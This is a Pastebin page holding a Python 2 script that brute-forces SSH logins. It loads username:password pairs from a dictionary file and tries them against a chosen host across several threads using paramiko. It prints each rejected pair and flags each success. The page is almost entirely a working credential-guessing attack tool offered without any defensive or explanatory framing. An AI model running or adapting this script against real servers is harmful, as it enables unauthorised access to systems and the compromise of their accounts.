Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from paramiko import SSHClient
  4. from paramiko.ssh_exception import AuthenticationException,SSHException
  5. from paramiko.client import AutoAddPolicy
  6.  
  7. import sys
  8. import threading
  9. import Queue
  10.  
  11.  
  12. HOST=None
  13. PORT=22
  14. DICT_FILE=None
  15. NUM_THREADS = 2
  16.  
  17. arg_map = dict()
  18.  
  19.  
  20. class WorkerThread(threading.Thread) :
  21.  
  22. def __init__(self, queue) :
  23. threading.Thread.__init__(self)
  24. self.queue = queue
  25. #create and setup SSH client
  26. self.client = SSHClient()
  27. self.client.set_missing_host_key_policy(AutoAddPolicy())
  28.  
  29. def run(self):
  30. while True:
  31. credentials = self.queue.get()
  32. self.ssh_connect(credentials)
  33. self.queue.task_done()
  34.  
  35. def ssh_connect(self, credentials):
  36. try:
  37. self.client.connect(hostname=HOST,port=PORT,
  38. username=credentials[0],
  39. password=credentials[1],
  40. timeout=10)
  41. except AuthenticationException, e:
  42. print("invalid credentials: {}".format(credentials))
  43. return
  44. except SSHException, msg:
  45. print(msg)
  46. return
  47. except Exception, e:
  48. print("failed to process credentials: {}".format(credentials))
  49. return
  50. print("success: {} OK!".format(credentials))
  51.  
  52.  
  53. def parse_args():
  54. global HOST, PORT, DICT_FILE, NUM_THREADS
  55. HOST = sys.argv[1]
  56. for i in range(2, len(sys.argv)-1):
  57. arg_map[sys.argv[i]] = sys.argv[i+1]
  58. PORT = int(arg_map.get('-p', PORT))
  59. DICT_FILE = arg_map.get('-f', DICT_FILE)
  60. NUM_THREADS = int(arg_map.get('-t', NUM_THREADS))
  61.  
  62.  
  63. def help():
  64. print("{} host [-p port] -f dict_file [-t num_threads]".format(sys.argv[0]))
  65.  
  66.  
  67. def main():
  68. if len(sys.argv) < 2:
  69. help()
  70. sys.exit(1)
  71.  
  72. parse_args()
  73.  
  74. if not HOST or not DICT_FILE:
  75. help()
  76. sys.exit(2)
  77.  
  78. print("HOST = {}".format(HOST))
  79. print("PORT = {}".format(PORT))
  80. print("DICT_FILE = {}".format(DICT_FILE))
  81. print("NUM_THREADS = {}".format(NUM_THREADS))
  82.  
  83. queue = Queue.Queue()
  84.  
  85. for i in range(NUM_THREADS):
  86. print("Creating worker thread: %d" % i)
  87. worker = WorkerThread(queue)
  88. worker.setDaemon(True)
  89. worker.start()
  90. print("worker thread %d created!" % i)
  91.  
  92. #process dictionary password file
  93. with open(DICT_FILE, "r") as f:
  94. for line in f:
  95. queue.put(line.strip().split(':'))
  96.  
  97. queue.join()
  98.  
  99. print("All tasks done!")
  100.  
  101.  
  102. if __name__ == '__main__':
  103. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement